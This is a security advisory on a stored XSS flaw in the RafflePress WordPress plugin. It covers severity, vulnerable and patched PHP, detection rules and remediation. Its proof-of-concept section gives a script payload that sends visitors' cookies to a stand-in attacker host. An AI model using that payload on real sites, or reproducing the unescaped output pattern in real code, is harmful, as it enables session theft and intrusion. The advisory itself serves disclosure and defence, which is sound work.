CVE-2024-10107

Executive Summary

CVE-2024-10107 is a Stored Cross-Site Scripting (XSS) vulnerability discovered in the Giveaways and Contests by RafflePress WordPress plugin. The flaw exists in versions prior to 1.12.17, where the plugin fails to properly sanitize and escape certain settings. This allows high-privilege users, such as administrators, to inject malicious scripts that are stored and executed in the context of other users' browsers. Even in multisite configurations where the unfiltered_html capability is disallowed, an admin can still perform this attack. The vulnerability has a CVSS score of 0.0 in the NVD data, but based on the vector, it is a medium-severity issue (CVSS 3.1 base score of 4.8). No public exploit code or nuclei template is available at this time.

Supply Chain & Package Security

This vulnerability affects a WordPress plugin distributed via the official WordPress plugin repository. Users are advised to update the plugin directly from their WordPress admin dashboard or by downloading the latest version from wordpress.org. No third-party package manager (NPM, PyPI, Go, Ruby) is involved.

CVSS Breakdown & Threat Level

• CVSS Vector: CVSS:3.1/AV:N/AC:L/PR:H/UI:R/S:C/C:L/I:L/A:N
• Base Score: 4.8 (Medium)
• Attack Vector: Network (AV:N)
• Attack Complexity: Low (AC:L)
• Privileges Required: High (PR:H) – requires admin-level access
• User Interaction: Required (UI:R) – victim must visit the affected page
• Scope: Changed (S:C) – impact may extend beyond the vulnerable component
• Confidentiality Impact: Low (C:L)
• Integrity Impact: Low (I:L)
• Availability Impact: None (A:N)

Threat Level: Medium. Exploitation requires admin credentials, but in a multisite environment, a site admin can compromise other sites or users.

Deep Dive & Mechanics

The vulnerability resides in the settings page of the RafflePress plugin. When an admin saves certain plugin settings, the input is not sanitized or escaped before being stored in the database. Later, when these settings are rendered on the admin dashboard or frontend, the unsanitized data is output directly into the HTML, allowing arbitrary JavaScript execution.

Root Cause: The plugin uses functions like echo $value or settings_fields() without applying esc_html(), esc_attr(), or wp_kses() to user-supplied input. This allows an attacker with admin privileges to inject <script> tags or event handlers.

Attack Flow:

1. Attacker (with admin role) navigates to RafflePress settings.
2. Attacker injects a payload like <script>alert('XSS')</script> into a vulnerable field.
3. The payload is stored in the WordPress options table.
4. When another admin or user visits the settings page, the payload executes in their browser.

Vulnerable vs. Patched Code

Vulnerable Code (pre-1.12.17):

// In a settings field rendering function
function render_text_field($option_name, $value) {
    echo '<input type="text" name="' . $option_name . '" value="' . $value . '" />';
}

Here, $value is output directly without escaping.

Patched Code (1.12.17+):

function render_text_field($option_name, $value) {
    echo '<input type="text" name="' . esc_attr($option_name) . '" value="' . esc_attr($value) . '" />';
}

The patched version uses esc_attr() to safely encode the value.

Exploitation & Lab Setup

Red Team (Proof of Concept)

Since no public exploit exists, a manual PoC can be constructed:

1. Prerequisites: Admin access to a WordPress site with RafflePress < 1.12.17.
2. Steps:
   • Navigate to RafflePress > Settings.
   • Locate a text input field (e.g., "Giveaway Title" or "Custom CSS").
   • Enter the following payload:

     <script>fetch('https://attacker.com/steal?cookie='+document.cookie)</script>
     

   • Save the settings.
   • When another admin visits the same settings page, the script executes, exfiltrating cookies.

Note: This is for educational purposes only. Unauthorized testing is illegal.

Blue Team (Detection & Hardening)

• Monitor Admin Activity: Log all changes to plugin settings. Look for unexpected HTML/JavaScript in option values.
• Web Application Firewall (WAF): Deploy rules to block requests containing <script> tags in plugin settings parameters.
• Principle of Least Privilege: Restrict admin access to only trusted users. In multisite, limit super admin privileges.
• Input Validation: Use WordPress functions like wp_kses_post() or sanitize_text_field() on all settings inputs.

Indicators of Compromise (IOCs)

• File Integrity: Check for modified plugin files in /wp-content/plugins/rafflepress/. Compare checksums with the official repository.
• Database Entries: Look for suspicious entries in the wp_options table where option_name contains rafflepress and option_value includes <script> tags.
• Logs: Web server logs showing requests to /wp-admin/admin.php?page=rafflepress_settings with unusual POST data.
• Network: Outbound connections to unknown domains from the WordPress admin dashboard.

Detection Engineering

YARA Rule

rule Detect_RafflePress_XSS_Payload {
    meta:
        description = "Detects stored XSS payloads in RafflePress plugin settings"
        author = "Valters IT"
        date = "2024-10-27"
        reference = "CVE-2024-10107"
    strings:
        $xss_payload = /<script[^>]*>.*?<\/script>/i
        $rafflepress_option = /rafflepress/i
    condition:
        $rafflepress_option and $xss_payload
}

Sigma Rule

title: RafflePress Stored XSS Detection
id: 8a9b7c6d-5e4f-3a2b-1c0d-9e8f7a6b5c4d
status: experimental
description: Detects attempts to exploit CVE-2024-10107 by injecting XSS payloads into RafflePress settings
author: Valters IT
logsource:
    category: webserver
    product: apache
    service: access_combined
detection:
    selection:
        cs-method: 'POST'
        cs-uri-query|contains: 'rafflepress_settings'
        cs-uri-query|contains: 'action=update'
    keywords:
        - '<script'
        - 'onload='
        - 'onerror='
    condition: selection and keywords
falsepositives:
    - Legitimate admin using JavaScript in custom CSS fields (rare)
level: high

Suricata Rule

alert http $HOME_NET any -> $EXTERNAL_NET any (msg:"CVE-2024-10107 RafflePress Stored XSS Attempt"; flow:to_server,established; content:"POST"; http_method; content:"rafflepress_settings"; http_uri; content:"<script"; http_client_body; sid:2024102701; rev:1;)

Remediation & Mitigation

1. Immediate Action: Update the RafflePress plugin to version 1.12.17 or later.
2. Workaround: If immediate update is not possible, disable the plugin temporarily or restrict admin access to only trusted users.
3. Long-term: Implement a Web Application Firewall (WAF) with rules to block XSS payloads. Regularly audit plugin settings for unauthorized changes.
4. Monitoring: Enable logging for all admin actions and review logs for suspicious activity.

Valters IT – Securing your digital frontier.